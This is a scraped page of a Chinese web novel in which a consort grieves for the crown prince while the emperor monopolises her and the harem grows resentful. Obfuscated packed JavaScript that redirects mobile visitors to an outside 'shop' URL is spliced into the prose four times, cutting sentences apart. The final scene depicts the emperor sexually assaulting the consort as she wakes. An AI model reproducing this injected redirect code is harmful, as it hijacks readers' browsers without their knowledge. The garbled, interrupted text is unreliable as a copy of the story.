云凝秋谢过后,与母亲一边闲聊家中事一边沿路往里去,偶尔瞧上几眼沿途绽放于枝头的桃花。 没多久,她们穿过桃花林,来到玉兰盛放之处。云凝秋仰头向上看去,玉兰高高挂在枝头,她预估了下高度,即便跳起来也触碰不到。 再往里,就是海棠花林。 还隔着些距离看见时,云凝秋便紧了紧手,不由自主在心底深吸口气,又不动声色的呼出。 “玉峰,”钟静兰转身:“我们走了好一会儿,有点累了,让人取些水来吧。” 云玉峰点头:“好。” 云玉峰找人去交代的时候,钟静兰又想起应该再一并拿些糕点来,她都准备好放在马车内,方才下来时忘拿了。 她赶忙朝云玉峰走去,打算让人将水与糕点一起取来。 云凝秋就站在海棠树下望向那些花儿。 有段时间没回家了,也不知自己院中那些海棠如今怎样,是花落了,还是依旧在枝头盛放?想回家看看。 “秋姑娘?”旁边有人出声打断云凝秋思绪。 她眨了下眼,转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410323|200660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头看去。 是张熟面孔,云凝秋曾经见过她好几回,是养护这片海棠花林的花匠,章婆婆。 她有些年纪了,头发花白,腰背有些佝偻,可面色却是慈祥又温柔。 以往云凝秋来这儿时,不论是太子亦或好友,都是唤她“凝秋”,老人家不知道她姓什么,便叫她“秋姑娘”。 起初云凝秋纠正过她一回,可她转头就忘了,依旧喊她“秋姑娘”。云凝秋索性就应下了这个称呼。 “章婆婆,许久不见。”云凝秋笑着回应。 “是啊,好久没见了。” “秋姑娘今年也来赏海棠啊,”章婆婆嗓音有点沙哑,她探看了看云凝秋身侧,有点疑惑:“今日怎的是独身前来?以前与您同来的那位俊郎君呢?他这次没来陪您吗?” 云凝秋一愣,面上笑容有刹那僵硬。 太子曾接连几年都陪她来此赏这片海棠花林,章婆婆见过他好几回。 云凝秋唇角微抿:“我……嫁人了。” 章婆婆盯着她看了会儿,意识到她嫁的人并不是每年都陪她来这儿的那位郎君,而后叹息一声:“可惜了。” 本是郎才女貌,无比登对的一双佳人。 轻轻的几个字,云凝秋心绪忽有翻涌,鼻尖泛起一抹酸涩,不知觉间眼里氤氲起些许水汽,眼眶随之湿润。 她垂下眼,衣袖中的指甲使劲掐着指节,试图以手上的疼痛来压制住心中的感伤。 怕泪落下,她抬起头,慢慢呼着气。 枝头海棠花映在眼中,烂漫鲜艳得迷了眼。 有人走近,向着她的方向说了句:“你在这儿啊。” 云凝秋扭头。 恍惚间,她好像看见萧沉在满树海棠下朝自己走来,艳阳下和煦的笑颜一如记忆中那般。 她唇角微动,眼中情绪流转,本就湿润的眼泛起一抹红,紧按着指节的手缓缓松开,顺着衣袖垂下,只是白皙的指节上留着几个明显的指甲月牙印。 等到那人走近,她看清楚了,才发现那是景帝,不是萧沉。 她到底还是没能忍住眼泪,匆忙的别开头,抬起手用衣袖将泪抹去。 景帝看见了,连忙大步至她身前:“怎么了?” “没事,”云凝秋用衣袖挡住眼睛,景帝没看见她的脸,只听见带着笑意的声音隔着衣袖传来:“只是仰头看花时,被风吹落的花粉掉眼睛里了。” “臣妾用衣袖擦擦就好,陛下不必担心。” “让朕看看。”景帝抓住她的手:“花粉掉眼中会很不舒服,朕帮你吹掉。” 云凝秋挡在身前的双手坚持了下,但她知道自己不能强行阻拦。越是阻拦,越显心虚。 于是她慢慢将手臂放下,一双氤氲着水光由有些红的眼就那般展露在景帝眼中,模样楚楚可怜。 景帝有一瞬愣神。 这般神情,真的是花粉掉进眼中所致吗? 可景帝不敢询问,不愿询问。 他眉微蹙了蹙,又很快舒展。他顺着云凝秋的话往下说:“疼吗?” 云凝秋摇摇头:“不疼,一会儿就能好。” 景帝牵起她的手:“去那边的长亭歇息会儿吧。” 云凝秋应声:“好。” 云凝秋随景帝牵她去的方向行走,她低垂着脑袋,另只手默默抬起擦去快要溢出的眼泪。 景帝眼角余光注意着身侧人,无声之间,逐渐暗下去的眼眸好似在思索着什么。 8. 八 春日的风和煦温暖,云凝秋在长亭坐了片刻,心绪已平稳。 钟静兰与云玉峰带着人将水与糕点取来,整齐摆放在他们面前桌上。景帝温声让他们一同入座,他们觉得惶恐,但在景帝说第二遍时便听话的坐下。 陛下之言,且事不过三,不可因此等小事犯轴,跟陛下犟怎么都是很愚蠢的行为。 云凝秋坐在景帝身侧,端起一杯水饮下。她此刻神情温和,仿佛方才在海棠花树下的失态之行全然没发生过。 景帝眼眸微动,余光向身边人看去,见她已无刚才情绪,心下稍稍松了口气。他带她来此赏花,特意叫上了她家人为她缓解思念,若是变成此处旧情旧景牵动过往回忆而令她悲伤,此行就甚是不值。 他大概能猜到云凝秋想起了什么,只是过往事他无法更改,只能等云凝秋自己放下。若斤斤计较这些小事,与她争吵或动怒,反而会激起她心中不满,她会觉得委屈、会难过,甚至在对比之下觉得仍是太子更好。 那可是得不偿失。 景帝慢条斯理饮下一杯茶,与一旁的云长康若无其事般说着话。 云凝秋安静听着,偶尔露出个温和的笑容。钟静兰作为她母亲,虽看似与来时无异,可却觉着在自己离去吩咐下人准备糕点至回来期间,女儿发生了些什么。 可碍于陛下在此,钟静兰不好问,只是小心留意着女儿的情绪。 而云凝秋注意到母亲的目光,抬眼看过去时向她嫣然一笑,似安抚,又仿若真的什么都没有。 稍作歇息后,赏花继续。但这回,景帝没有从云凝秋身边走开,始终相陪。 只是云凝秋已没了最初来时的欣喜,花虽美,却无心观赏,瞧见了,夸赞几句好看,便再无其它。 返程的路上,云凝秋与景帝同乘,她有些累,努力端着坐姿却抵不住袭来的困倦,眼皮一上一下的在打架,脑袋时不时垂下重重一点,又恍惚着抬起,试图重新打起精神,然而效果甚微。 景帝见她打着瞌睡还努力想要保持清醒的模样,觉得有趣,眼里有一丝笑意浮现,但很快他挪动位置过去,伸手将云凝秋揽过,让她靠在自己肩头:“困了,就睡会儿吧,等回到皇宫,朕会叫你。” 听到这话,云凝秋也没再强撑,低声说了句“多谢陛下”就真的阖上双眼。不过几个呼吸,她便入睡。 景帝垂眼望向靠着自己安然入睡的美人,眼神温柔。 她身上的香气钻入鼻尖,清新又淡雅,予人舒适,让人闻到第一下后就想要埋在她颈间重重的嗅上一口,拥着她柔软的身体,感受她的体温与女子香。 然而云凝秋刚睡着,怕惊扰她休息,景帝也不过是在脑中设想了一番,并未真正将那念头实施。 皇宫前,云长康带着夫人与儿子跟景帝道别,景帝没露面,只有一道压低的嗓音从马车内传来:“嗯,云爱卿辛苦,回家歇息吧。” 云长康应了声,行着礼送景帝的马车进入皇宫,至其远去,才抬起头来。 回云府的马车里,钟静兰与云长康说着话:“今日来看,秋儿在宫中似乎还不错,只是我总觉得她好像有点勉强,也不知她在想些什么。” “你说,陛下他是真心待秋儿的么?” 真心…… 云长康抬手按了按鼻梁:“不知。” 以他来看,帝王哪有真心?不过是见秋儿年轻貌美又听话罢了。可怕夫人担心,他不好直言。 何况秋儿聪慧,宫中之事想必可以应付,若是真有她觉得烦忧之事,按她性情定不会藏着掖着,自己好歹是个丞相,在朝堂多年,但凡她出言求助,定可以帮上她。 可现在全无迹象,不能妄动,只能暂时观望。 钟静兰忍不住感慨了句:“就是可惜了殿下……” 云长康放下手,提醒:“夫人,莫要再提这些。” “我知道,”钟静兰叹了口气:“只是今日去到那海棠花林,见秋儿神色不太对,约摸是想起了以前。” “算起来,殿下似乎自召秋儿入宫的圣旨后,就没再露面,他……可还好?” “听说是身体不适,在东宫休养。”但云长康知晓,休养不过借口,想必是先前太子殿下听闻陛下要召秋儿入宫为妃后一时冲动说了些顶撞陛下的话,被禁足在东宫了。 但太子毕竟是太子,陛下不会轻易对他做些什么,待禁足期过,他自会露面。 只是到那时,宫中情形会如何,就尚未可知了。 “醒醒……” “凝秋,醒醒。” 温柔含笑的嗓音在云凝秋耳边响起,肩膀被人轻轻摇晃着,想要将她从沉沉的午睡中唤醒。 她知道那声音的主人是谁,习惯性呢喃了声,撒着娇的摇摇头,继续埋头睡着。而后又有更明显的笑声传来,脸颊肉被人捏了捏:“再不醒,都要天黑了,给你准备的好吃的,孤可要一个人把它们都吃光咯。” “不行……” 她挣扎着睁开眼,抬起手想要回击过去捏萧沉的脸,但被他笑着躲开,又反过来被伸出的手挠了挠下巴:“还不起吗?” 她视线逐渐清明,看见了那张带着笑意的面容,那双映照着自己面容的眼眸:“快起来吧。” 她眨了下眼,情不自禁伸出手去想要触碰,却在快要触碰到他的时候,他突然消失在她眼前。 她大惊失色,慌张环顾四周,想要喊却突然发不出声音,紧张又不安的来回找寻。 殿下?你在哪里?你去了何处? 你快回来……你快回来! 云凝秋倏忽从梦中惊醒。 入目是念云轩的寝殿,隔着帷帐,有些微烛光映照进来,想来时辰已不早。她额间渗着一层细密汗珠,眼神的慌乱尚未消散。 她呆愣了好一会儿,才将自己彻底从梦中的情绪抽离出来。 片刻后,她坐起身。守在床边的红棉立即掀开帷帐过来:“娘娘,您醒了。” 云凝秋按了按久睡后有点昏沉的脑子:“什么时辰了?” 红棉答:“已是酉时末。” 酉时末了啊……难怪屋中点着烛火,想必屋外天色已暗。 她要起床,红棉伸手去扶:“娘娘,您是现在用晚膳?还是缓一会儿再用?” 云凝秋想了下:“等会儿吧。” 红棉:“是。” 伺候云凝秋穿衣后,红棉跟屋外的宫女说了句什么,又很快折返回来。 云凝秋看向她,她随即禀告道:“娘娘,陛下将您抱回来时说过,不要打扰您休息,但也交代若是您醒了就立刻派人过去知会他一声。” 云凝秋:“陛下在御书房?” 红棉斟茶一杯放于她手边:“是的。” 她淡淡“嗯”了声,随即端起茶盏将杯中温热的茶水饮下。水温是她习惯入口的,茶香醇厚,滋味夹杂着一丝清新的甜味。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410324|200660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>红棉跟在她身边十来年,最最熟练她的习惯。红棉泡的茶,也最合她意。 此外,还有一人煮的茶她很喜欢。 她想起方才的梦,还有梦里的人。 她垂眼看着只余半杯的茶,眉心微蹙,眸底是隐忍的想念。 红棉注意到主子神情的变化,有短暂诧异,却没有出声言语,只是安静陪在她身边。 夜里的风有点凉,悠悠吹动院中的树。夜幕已沉,圆月高高悬挂其上,周侧是点点闪烁的星光。 不知何处来的小猫在夜色中“喵喵”叫了几声,继而传来一声“喵”的回应。 云凝秋行至院中。视线昏暗,她看不见猫儿发出声响的位置,只能隐约听见几声猫儿叫。 见云凝秋愣神看向猫叫的方向,宫女翠珠试探性着开口:“娘娘可是不喜这野猫夜里叫?奴婢带人去将它们赶走吧。” “不必,随它们吧。”云凝秋敛回视线,等有人从那边走过,它们自会离开。 她入宫快有一月,除去逛了趟御花园,今日出宫一趟,每日几乎只在念云轩与御书房间来回,也不知陛下在想些什么,似乎不让自己与后宫嫔妃来往,而且陛下每夜都留宿在念云轩,她独处的时间都有限。 刚见过家人不久,却又要进入日复一日无趣的循环中,难免心生乏味,忍不住叹息。 云凝秋突发奇想:“这些猫,可能抓几只来养?” 翠珠惊讶,赶紧解释道:“娘娘,野猫难驯,即便是抓来,也不亲人,反而容易抓伤您。若是您想要养猫,奴婢觉得可以选几只性情温顺的小猫崽,从小养着,会亲人,也就不会伤您了。” 云凝秋想了想:“交给你办。” 翠珠惊喜,嗓音中都是难掩的激动与欢喜:“是,奴婢一定给娘娘挑最好的来。” 宫中人皆知,凝妃如今独得陛下恩宠,且凝妃性情温和,从不乱发脾气,也不拿下人撒气,若能得她几分信任为她做事,将来在宫中定能衣食无忧,不必再被人苛责训斥。 翠珠办事利落,第二日就带来了五只小猫崽,白的、黑的、橘的,黑白相间,三花的。 毛色虽不同,却个个都长得漂亮,尤其是它们的眼睛,像是琉璃,甚是美丽。 但五只,有点多。 云凝秋觉得两三只就好。 要不,送两只给母亲养养? 一番思索后,云凝秋留下了白猫、黑猫与三花猫,多出来的橘色猫与黑白相间的猫,她差人出宫一趟,把它们送去给云府的母亲。 云凝秋养猫之举,景帝默许。 每当看见云凝秋逗小猫玩耍时的欢喜模样,他也会不由自主跟着露出笑容。看起来,有这些小猫的存在,她比刚入宫时开心了不少。 景帝问她:“这些小猫,你可取好了名字?” 云凝秋点头,指着它们一一介绍:“这只三花色的,叫三水,这只白的,叫绒绒,而这只黑的,是笑笑。” 白猫与三花猫的名字,景帝能理解,但那只黑猫,通体漆黑,面无表情,性子有点冷,不如前两只那么粘人,怎取个“笑笑”这样的名字? 他将疑惑问出口。 云凝秋笑道:“就是因为它高冷,才叫它笑笑。” “养猫的乐趣,就在于逗它。” 说着,她伸手挠了挠小黑猫的下巴:“是不是呀,笑笑~” 小黑猫眨了下眼,淡淡的“喵”了一声。 9. 九 景帝去御书房批奏折时,依旧会让云凝秋相陪。 怕她整日待在御书房内看书觉着无聊,会心情郁闷,特意命人在御书房外的院中树下打造了一副秋千,一处凉亭与位于亭中的茶台。 她不想看书时,可去院中走走,坐坐秋千喝喝茶。 见景帝为自己做到这步,云凝秋索性也就壮着胆子跟他提出要把养的猫也带过去御书房陪自己。 景帝有短暂诧异,却并未拒绝云凝秋的提议。 她陪着自己,小猫陪着她,既公平也合理。 得到准许,云凝秋欣喜非常,第一次主动抱了景帝。虽只有很短的一会儿,却也让景帝恍惚了下。 等他回过神时,云凝秋已提着裙摆朝外大步走去,吩咐宫女将她养的猫儿们带来。 望着她欢喜的身影,景帝忽的笑了声。很轻的笑声,只有他自己听见了。 自从养猫后,云凝秋的乐趣多了不少,有时在屋里逗猫,天气好时抱着它们去院中做秋千、晒太阳。 它们从不抗拒她的接触,每次她抱它们,它们都会乖乖趴在她臂弯或怀中,偶尔发出几声轻柔的猫叫,偶尔蹭蹭她的手。 小白猫与三花猫比较粘人,看见云凝秋就会主动靠近,小黑猫更高冷些,每次都得她主动,不然它就只会趴在离她有点距离的地方盯着她看。 而云凝秋每次都受不住它的眼神,最后败下阵来,还是会起身去把它给抱过来。 “你啊~”云凝秋揉揉它的头:“惯会撒娇的。” 小黑猫窝在她怀中,尾巴摇晃了下:“喵。” 也因此,她看书的次数少起来,每次坐了会儿就忍不住去外头撸猫,有时候小猫乱跑,她就跟在后面追,不仅不觉得累,反倒是将她前段时间长期久坐的不适感给治好了。 景帝批完奏折出来,还隔着些距离就瞧见云凝秋用一根不知何处折来的狗尾巴草逗小猫的画面。 她玩的开心,看着她的景帝也跟着愉快。 不过看来,云凝秋已经失去对先前那些话本的兴趣,估摸着也是看得太多、太久,已然产生疲惫感。 这小猫现在正是她的兴趣源头,可却不知晓能持续多久。 以防万一,还是得尽快找些更新奇的玩意儿来,在她无聊时送她解解乏味。 景帝吩咐邱明找人去办。 邱明当即就安排了下去。 景帝独宠凝妃的消息传遍后宫,嫔妃私下议论,下人们也找准机会想瞧瞧那位凝妃究竟长什么样,竟能在这美人如玉的后宫中独得那一份宠爱。 只可惜凝妃每日出现的地方就那么几个,且大多时候有景帝作陪,即便是远远看见那么一眼,也得赶紧低下头行礼,无法看清凝妃的脸。 又一次贵妃宫中晨省之礼时,对于景帝独宠凝妃一事,嫔妃们颇有微词。 在宫中多年且育有子女的倒还好些,往后算是有个保障,可那些入宫有几个年头却不曾留下子嗣的,心中怨言颇深,虽未言语,却从面相上也能瞧出几分。 有人壮起胆子开口:“这凝妃入宫多久,陛下就在她那里多久,都不再来见我们了,贵妃娘娘,还请您去劝劝陛下……” 随即有人附和:“是呀是呀……也不知那凝妃使了什么手段,竟能留陛下如此之久。我们同为宫中姐妹,她这般行事,也未免太没眼力见了……” 此番言语一经开始,其余嫔妃也接连开了口,你一言我一语,屋内顿时热闹起来。 贺贵妃听得头疼,转头看向林贵妃。 林贵妃神色淡然,慢条斯理吃着她喜爱的蜜饯,仿佛根本没听见嫔妃们的话,也不在意凝妃是否独占陛下宠爱这一事。所以,她也并不打算管。 最后还是贺贵妃出声制止:“够了!” 屋内瞬时寂静,所有嫔妃恢复至端正坐姿,低着头不敢再言语。 贺贵妃蹙眉道:“今日就到这儿,你们都回吧!” 嫔妃们起身,朝两位贵妃行礼后陆续离开此处。 待人都出去,这屋子里才算是静下来。贺贵妃还是头疼,抬手按着,皱着的眉仍未舒展开。 “你是真不管事啊?”她瞥向林贵妃:“好歹是个贵妃!” 林贵妃将手边蜜饯向她推过去点:“不是不管,是不能管。” “想必你也派人去念云轩那边打探过消息了,不是凝妃将陛下留在那里,是陛下每日都去凝妃那里,两者差别你不知晓吗?” “管这事,就等于跟陛下作对,我可不要去当冤大头。” 她能多年来稳坐贵妃之位,靠得就是眼力见,知道什么事该管,什么事不能管。 贺贵妃叹了口气,拿起一颗蜜饯递到唇边轻轻咬下一口,甜味瞬间弥漫口腔:“吃这么甜?” 林贵妃笑:“就喜欢这口。” 贺贵妃又问:“凝妃的事,你真不管?” 林贵妃笑着:“我说了,我管不了。你若想试试,你就去吧。” 贺贵妃:“……” 她不去,自己也不去。 那些嫔妃对凝妃独宠一事心存不满,那就她们自己去找陛下。这冤大头,她也不当! 眼见两位贵妃都不管凝妃,有几位对凝妃不满的嫔妃私下聚在一起说着此事,一番商议后决定派出去一人先探探情况。 孤女身份、没有母族作为靠山的宋美人被选中。她与永妃同住一宫,但永妃是主位,且位分高于她,她其实并没有对凝妃不满,只是没有选择。以她美人的位分,若是与一宫主位的永妃作对,她的处境会十分艰难。 故而即便心里不愿,却也只能硬着头皮应下。 宫女探来消息,说是凝妃在御书房。 永妃扫她一眼:“还不快去?我们可都等你的消息呢。” 宋美人应了声“是”,随即转身离开。 凝妃在御书房,就证明陛下也在御书房。她心慌又不安,生怕自己过去会触怒陛下或凝妃,不论是谁,她都得罪不起。 可永妃这边也需要个交代。 宋美人让人准备了银耳莲子羹,以送东西的名义去御书房。 才到御书房外,就见着在院中喂猫的云凝秋。她愣了下,一时诧异,御书房是陛下处理朝堂要务之处,这等严肃之地,凝妃竟然在此处喂猫? 直至邱明的声音打算宋美人诧异的思绪:“见过宋美人。” 宋美人眨眨眼,随即回过神。 邱明的笑容得体而有礼:“不知宋美人突然来此,所为何事?” 宋美人赶紧解释道:“是这样的,我听闻陛下这几日有些忙,担心他太劳累,所以命人准备了银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410325|200660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳莲子羹,陛下有空时喝一点,身子会舒服些。” “宋美人有心了。”邱明往旁边眼神示意,有个小太监快步走上前,将宋美人带来的膳盒接过去。 宋美人朝凝妃那边看了眼,假装无意询问:“邱公公,凝妃娘娘怎的在外头?” 邱明笑道:“陛下在处理公务,凝妃娘娘怕打扰到他,故而在外面等候。” 宋美人点点头:“这样啊。” 她抿了下唇,稍微犹豫了会儿,还是鼓起勇气走向不远处的凝妃。 云凝秋注意到有脚步声靠近,自然转头看去。 是个陌生面孔。约摸二十出头的年岁,小家碧玉的样貌,衣着相对较素雅,发髻上没有贵重的发饰,脸上是温和浅笑。 “见过凝妃娘娘。”宋美人站定脚步,恭敬行礼。 “免礼,”云凝秋将她打量了番:“你是?” 宋美人道:“嫔妾是住在长兴宫的宋茗心,早就听闻凝妃娘娘入宫,只是可惜,今日才初见。” 翠珠弯腰在云凝秋耳边压低声音补充了句:“娘娘,她是宋美人,与永妃娘娘同住在长兴宫。” “你我的确是初次见面。”若非陛下总是让她待在他身边,她早该在入宫的第二天就去拜见宫中的两位贵妃,认识一下后宫嫔妃。 时间久了,倒也随意了,不勉强。认识则认识,不认识,也无所谓。若是日后遇见嫔妃,自有认识她们的翠珠告知自己那些都是谁与谁。 她指了下旁边座位:“宋美人请坐。” “翠珠,给宋美人倒杯茶。” 宋美人心中微诧,倒是没想到得到陛下独宠的凝妃性子如此温和,全无高傲之意。她道了声谢,视线从石桌上的两只猫身上扫过:“娘娘喜欢猫?” “是啊。”云凝秋正准备给她介绍一番,却发觉本该在石桌上的小黑猫笑笑不知去了何处。前一刻它分明还在桌上趴着。 她脸上笑意收敛了些,着急向左右环顾。 翠珠也注意到,立即道:“娘娘莫急,奴婢这就带人去找。” 宋美人不解:“娘娘,怎么了吗?” 云凝秋笑了下:“不是大事,有只猫不见了,不过它还小,应该走不远,翠珠她们会将它带回来的。” “宋美人是来找陛下的吗?”她转移话题。 宋美人刚伸出去要端茶盏的手顿了顿:“啊……是的。” “多日不见陛下,听闻陛下操劳国事,故而带了莲子羹前来。” 云凝秋眼珠微转:“陛下以前,去后宫的次数多吗?” 宋美人握住茶盏,热意隔着杯壁落在她掌心:“好像……多吧,隔三差五就会去一趟。不过我只是个位分低的美人,平日其实也见不到陛下。” 云凝秋看着她:“那宋美人是因为想念陛下才来这里的?” 宋美人忽的心惊,拿着茶盏的手不自觉抖了下。她赶紧起身:“凝妃娘娘,嫔妾不是……” “不必紧张,”云凝秋猜到她要说什么,温声打断她:“我只是好奇。” 宋美人低着头不敢说话。 云凝秋伸手揉了揉桌上的小白猫:“说起来,陛下的确很久没去后宫了,不如今晚,就请陛下去你那里吧。” 宋美人大惊失色,难以置信的抬起头:“啊?” 10. 十 云凝秋这般想着,就真的打算这般去做。 等景帝从御书房出来时,她主动迎上前,脸上是欢喜的笑容。 难得从云凝秋脸上瞧见这样的笑,又是她主动走向自己,景帝心情不由愉快,以为她是想念自己,着急过来与自己相见,嘴角稍稍扬起些许。 但他没想到的是,云凝秋开口说的竟然是让他今晚去宋美人那里。他脸上笑容瞬间消失,神色随之凝重了几分。 “你说什么?”景帝甚至都怀疑是自己听错了。 于是云凝秋又完整重复了遍:“陛下今晚去宋美人那里如何?” 景帝负在身后的双手不自觉握紧,嗓音也沉下来:“为何?” 云凝秋道:“陛下近日事务繁忙,已多日不曾去过后宫,后宫嫔妃已许久没有见您,您该去见见她们了。她们都是陛下的妃子,都心心念念着陛下,陛下若是不管她们,不太合适。” “何况,还有人为陛下孕育了子女,于情于理,陛下都该去看看她们。” 她说的头头是道,景帝一时反驳不过。 他没法从云凝秋的话找到缺口去辩驳,于是改换说辞去反问她:“你不希望朕陪着你吗?” 云凝秋头微垂,眉眼温顺:“臣妾只是觉得,同为后宫的嫔妃,陛下该去看看她们。臣妾就在念云轩,待陛下看过她们,过几日再回念云轩也是可以的。” 景帝眉头拧起:“你不介意?” 云凝秋道:“陛下对臣妾的好,臣妾看在眼中,记在心里,臣妾相信陛下不会因这种事而冷落臣妾。陛下心怀天下,嫔妃都是陛下当年亲自所选,不该在新人入宫时就忘记她们的存在。” “后宫和谐,除去需诸位嫔妃努力,也需要陛下以身作则,雨露均沾才是。” 这话的意思是,他独宠她一人这个行为还有错了? 别的妃子巴不得能得独宠,在后宫只手遮天、为所欲为,她倒好,竟然不要这样的恩赐! 她入宫也有一个多月了,他自问待她不错,从未亏待过她,尽他所能处处体贴,不成想她竟丝毫没对自己动心念,如此随意就将自己推给别的妃子。她看起来毫不在意自己会留宿在谁宫中,她是不是甚至希望自己不要去念云轩? 她心中,可是依旧念着太子?是否自己在她心里仍未有一席之地?她的心真是跟石头一样! 景帝眼神冷下来,身后的手逐渐握成拳。 云凝秋能感受到他周身气息的变化与看向自己眼神中的冷冽,只是她没有太大的反应。 倒是景帝盯着她看了许久,心里一通胡思乱想,自顾自的生着气。 片刻后,他说:“你回去吧。” 云凝秋以为他是接受了自己的建议,于是果断福身行礼:“是。” 看着她毫不犹豫离去的身影,景帝越发生气,重重拂袖后转身回了御书房。 回念云轩的路上,翠珠抱着小黑猫回来,瞥见它脏兮兮的模样,不由挑眉:“它这是跑到哪里去了?” 翠珠解释:“回娘娘,笑笑跑到御花园那边去了,奴婢们找到它的时候,它就窝在御花园一丛花中,故而身上沾了不少草叶与泥土。不过娘娘放心,回去后,奴婢会将它洗干净的。” “跑得还挺远。”云凝秋将笑笑从翠珠手中抱过去。 小黑猫仰头看了她一下,又乖乖低头趴下,一脸舒服惬意的模样,全然不记得自己跑了很远这件事。 云凝秋笑了下,揉了揉它的头。 翠珠刚将它带来时,它还是安静待在小猫崽里乖巧的样子,后来感觉到它性情比其余小猫冷了点,不像它们那般粘人,却也不知道它动作如此迅速,一不留神就跑了,还在那么短的时间里跑得如此迅速。 从御书房到御花园,那段路也不近,也不知这小猫是怎么跑到那么远的地方去的。 不过,看它安安静静趴在自己臂弯的样子,约摸也是累坏了。 晚膳是云凝秋在念云轩用的,休息小半个时辰后前去沐浴,她回来时,翠珠也已将洗干净的小黑猫带回来,她抱着它上了塌。 今夜她可以独享这场宽敞的床,夜间熟睡时也可随意翻转,不必担心会惊扰到身边人,无需在夜里还得提着一点精神。 她心甚欢,趴在床上逗猫玩。 小黑猫兴致缺缺,窝在枕边眯着眼,昏昏欲睡的样子。倒是后来的两只小猫跳上床铺后和她玩的开心。 以往景帝已至念云轩的时辰,今夜他却没有出现时,红棉猜定是与在御书房前凝妃娘娘和陛下说的话有关。 她若有所思了会儿,去到里屋见娘娘。 逗累了的云凝秋抱着小猫侧躺,看似快要睡着了。 红棉行至过去,小心翼翼在床边跪坐下:“娘娘,陛下没有来。” “嗯。”云凝秋毫不在意,还闭上了眼。 红棉不解:“娘娘应该知道您与陛下说的话会令陛下不高兴,为何还要那样说呢?娘娘不喜欢独得陛下的恩宠吗?这可是后宫妃子都想要的。” “是吗?”云凝秋语气轻飘飘的,带着点朦胧倦意:“但是红棉,一件东西,有人很喜欢,就会有人不喜欢。” “就像你爱吃脆枣,每次都能吃好几个,但是在母亲身边伺候的娇娇就不喜欢吃,给她她都不要的。” 红棉眨眨眼,压低声音:“娘娘,您怎么能拿陛下跟脆枣相比呢……” 云凝秋道:“因为就是这么个道理。” 她的声音逐渐弱下:“红棉,有些困了。” 红棉立即会意:“您睡吧,奴婢会守着您的。” “嗯……”云凝秋放心的睡过去,怀中小猫似是感受到她的疲倦,也在玩耍一天后跟着她一块入睡。 红棉放下床前帷帐,放轻脚步退出去,随后熄了烛火。 夜色沉寂,风吹树叶的声响都很清晰。 明月悬挂至夜空最高处时,景帝来了念云轩。负责守夜的太监与宫女皆是诧异,纷纷跪拜行礼。 连红棉也很意外,想不到这么晚了,陛下还会来。她想要在行礼后去知会主子一声,可还没来得及开口,景帝已经略过跪在一旁的下人,径直推门进了屋。 红棉回头看了眼,有人已经将房门重新关好。 云凝秋睡得正熟,她养的猫全都在床上,以往景帝的位置被它们占据。他眼中闪过一丝不悦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410326|200660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拎着猫儿的后颈皮把它们撵走,将自己的地方腾出来。 床上的人没醒,甚至还翻了个身。 景帝眯了下眼,眸光沉沉。他抓住云凝秋的肩,让她转过来,随即迈腿,横跨在她左右两侧。 他望着云凝秋那张入睡后纯良无害的面容,心中有多道情绪一齐升起。有怒意,有不解,还有快要压制不住的疯狂。 他想要占有眼前这个女子,醒着的,睡着的,现在的,以后的,她的身体,她的心,都要是属于他的。他无法容忍她对自己的轻视,也接受不了她轻易将自己推给别人的行为,更无法接受她心中没有自己! 感觉到身体里传来的异样,云凝秋迷迷糊糊醒来。本就昏暗的床帏之内,她只能看见个模糊的身影,很眼熟,似乎与她梦里的人一样。 睡意朦胧,看不清眼前,她误以为那是梦中人,无意识低声唤了句:“殿下?” 可这个称呼却显然激怒了身上人,力度忽的加重,她忍不住惊呼一声。睡意瞬间消散,她视线变清楚了些。 “你叫谁?”冰冷的手扼住她想要挣扎的手,那张愤怒的面容随即出现在她眼前:“你看清楚,朕是谁!” 云凝秋睁大双眼,不仅睡意全无,惊恐慌乱一瞬间涌上来,将她全身占据。入宫一个多月,她第一次看见这样的景帝,如此近的距离她能感受到来自他的愤怒,还有他那不停冲撞着自己身体的动作。 她有些疼,眼里已浮动出泪光:“疼……” 